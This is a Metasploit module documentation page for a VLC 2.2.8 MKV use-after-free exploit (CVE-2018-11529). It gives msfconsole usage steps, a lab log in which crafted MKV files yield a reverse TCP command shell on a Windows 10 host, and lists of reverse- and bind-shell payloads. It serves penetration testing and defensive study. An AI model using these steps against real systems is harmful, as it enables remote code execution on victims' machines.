VLC Media Player MKV Use After Free - Metasploit
This page contains detailed information about how to use the exploit/windows/fileformat/vlc_mkv metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VLC Media Player MKV Use After Free
Module: exploit/windows/fileformat/vlc_mkv
Source code: modules/exploits/windows/fileformat/vlc_mkv.rb
Disclosure date: 2018-05-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-11529
This module exploits a use after free vulnerability in VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of MKV files and affects both 32 bits and 64 bits. In order to exploit this, this module will generate two files: The first .mkv file contains the main vulnerability and heap spray, the second .mkv file is required in order to take the vulnerable code path and should be placed under the same directory as the .mkv file. This module has been tested against VLC v2.2.8. Tested with payloads windows/exec, windows/x64/exec, windows/shell/reverse_tcp, windows/x64/shell/reverse_tcp. Meterpreter payloads if used can cause the application to crash instead.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/fileformat/vlc_mkv
msf exploit(vlc_mkv) > show targets
... a list of targets ...
msf exploit(vlc_mkv) > set TARGET target-id
msf exploit(vlc_mkv) > show options
... show and set options ...
msf exploit(vlc_mkv) > exploit
Knowledge Base
Description
VideoLAN VLC <= v2.2.8 (32 and 64 bit) are vulnerable to a use-after-free vulnerability that exists in the parsing of MKV files.
This module has been tested against 32 and 64 bit versions of VLC v2.2.8 on Windows 10 Pro x64.
Vulnerable Application
VLC <= v2.2.8
Verification Steps
./msfconsole -quse exploit/windows/fileformat/vlc_mkvrun- Start handler
- Copy over mkv files to target hosts and open part1 in VLC
- Set a shell
Scenarios
Windows 10 x64 running VLC 2.2.8 (x64)
msf5 > use exploit/windows/fileformat/vlc_mkv
msf5 exploit(windows/fileformat/vlc_mkv) > set lhost 172.22.222.134
lhost => 172.22.222.134
msf5 exploit(windows/fileformat/vlc_mkv) > run
[+] tjub-part1.mkv stored at /home/msfdev/.msf4/local/tjub-part1.mkv
[*] Created tjub-part1.mkv. Target should open this file
[+] tjub-part2.mkv stored at /home/msfdev/.msf4/local/tjub-part2.mkv
[*] Created tjub-part2.mkv. Put this file in the same directory as tjub-part1.mkv
[*] Appending blocks to tjub-part1.mkv
[+] Succesfully appended blocks to tjub-part1.mkv
msf5 exploit(windows/fileformat/vlc_mkv) > handler -p windows/x64/shell/reverse_tcp -H 172.22.222.134 -P 4444
[*] Payload handler running as background job 0.
msf5 exploit(windows/fileformat/vlc_mkv) >
[*] Started reverse TCP handler on 172.22.222.134:4444
[*] Sending stage (336 bytes) to 172.22.222.200
[*] Command shell session 2 opened (172.22.222.134:4444 -> 172.22.222.200:49731) at 2018-10-10 12:08:58 -0500
sessions -i 2
[*] Starting interaction with 2...
systeminfo
systeminfo
Host Name: DESKTOP-IPOGIJR
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.17134 N/A Build 17134
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Msfconsole Usage
Here is how the windows/fileformat/vlc_mkv exploit module looks in the msfconsole:
msf6 > use exploit/windows/fileformat/vlc_mkv
[*] Using configured payload windows/x64/shell/reverse_tcp
msf6 exploit(windows/fileformat/vlc_mkv) > show info
Name: VLC Media Player MKV Use After Free
Module: exploit/windows/fileformat/vlc_mkv
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2018-05-24
Provided by:
Eugene Ng - GovTech
Winston Ho - GovTech
Available targets:
Id Name
-- ----
0 VLC 2.2.8 on Windows 10 x86
1 VLC 2.2.8 on Windows 10 x64
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
MKV_ONE no mkv that should be opened
MKV_TWO no The auxiliary file name.
Payload information:
Space: 768
Description:
This module exploits a use after free vulnerability in VideoLAN VLC
=< 2.2.8. The vulnerability exists in the parsing of MKV files and
affects both 32 bits and 64 bits. In order to exploit this, this
module will generate two files: The first .mkv file contains the
main vulnerability and heap spray, the second .mkv file is required
in order to take the vulnerable code path and should be placed under
the same directory as the .mkv file. This module has been tested
against VLC v2.2.8. Tested with payloads windows/exec,
windows/x64/exec, windows/shell/reverse_tcp,
windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
cause the application to crash instead.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-11529
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529
https://www.exploit-db.com/exploits/44979
Module Options
This is a complete list of options available in the windows/fileformat/vlc_mkv exploit:
msf6 exploit(windows/fileformat/vlc_mkv) > show options
Module options (exploit/windows/fileformat/vlc_mkv):
Name Current Setting Required Description
---- --------------- -------- -----------
MKV_ONE no mkv that should be opened
MKV_TWO no The auxiliary file name.
Payload options (windows/x64/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
1 VLC 2.2.8 on Windows 10 x64
Advanced Options
Here is a complete list of advanced options supported by the windows/fileformat/vlc_mkv exploit:
msf6 exploit(windows/fileformat/vlc_mkv) > show advanced
Module advanced options (exploit/windows/fileformat/vlc_mkv):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/fileformat/vlc_mkv module can exploit:
msf6 exploit(windows/fileformat/vlc_mkv) > show targets
Exploit targets:
Id Name
-- ----
0 VLC 2.2.8 on Windows 10 x86
1 VLC 2.2.8 on Windows 10 x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/fileformat/vlc_mkv exploit:
msf6 exploit(windows/fileformat/vlc_mkv) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
20 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
21 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
22 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
23 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
25 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
26 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
27 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
28 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
29 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
30 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
31 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
32 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
33 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
34 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
35 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
36 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
37 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
38 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
39 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
41 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
42 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
43 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
44 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
45 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
46 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
47 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
48 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
49 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
50 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
51 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
52 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
53 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
54 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/fileformat/vlc_mkv exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/fileformat/vlc_mkv) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Can't store <NUMBER> in <SIZE> bytes
Here is a relevant code snippet related to the "Can't store <NUMBER> in <SIZE> bytes" error message:
122: numbytes = [numbytes] if numbytes.is_a?(Integer)
123: numbytes.each do |size|
124: bits = size * 7
125: return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
126: end
127: fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
128: end
129:
130: def build_data(size)
131: block_size = 0x1000
132:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10335 Merged Pull Request: Add vlc_mkv exploit module
References
See Also
Check also the following modules related to this module:
- exploit/windows/fileformat/vlc_modplug_s3m
- exploit/windows/fileformat/vlc_realtext
- exploit/windows/fileformat/vlc_smb_uri
- exploit/windows/fileformat/vlc_webm
- exploit/windows/browser/vlc_amv
- exploit/windows/browser/vlc_mms_bof
Related Nessus plugins:
- Debian DSA-4251-1 : vlc - security update
- FreeBSD : vlc -- Use after free vulnerability (dc57ad48-ecbb-439b-a4d0-5869be47684e)
- VLC Media Player <= 2.2.8 Use-After-Free RCE
Authors
- Eugene Ng - GovTech
- Winston Ho - GovTech
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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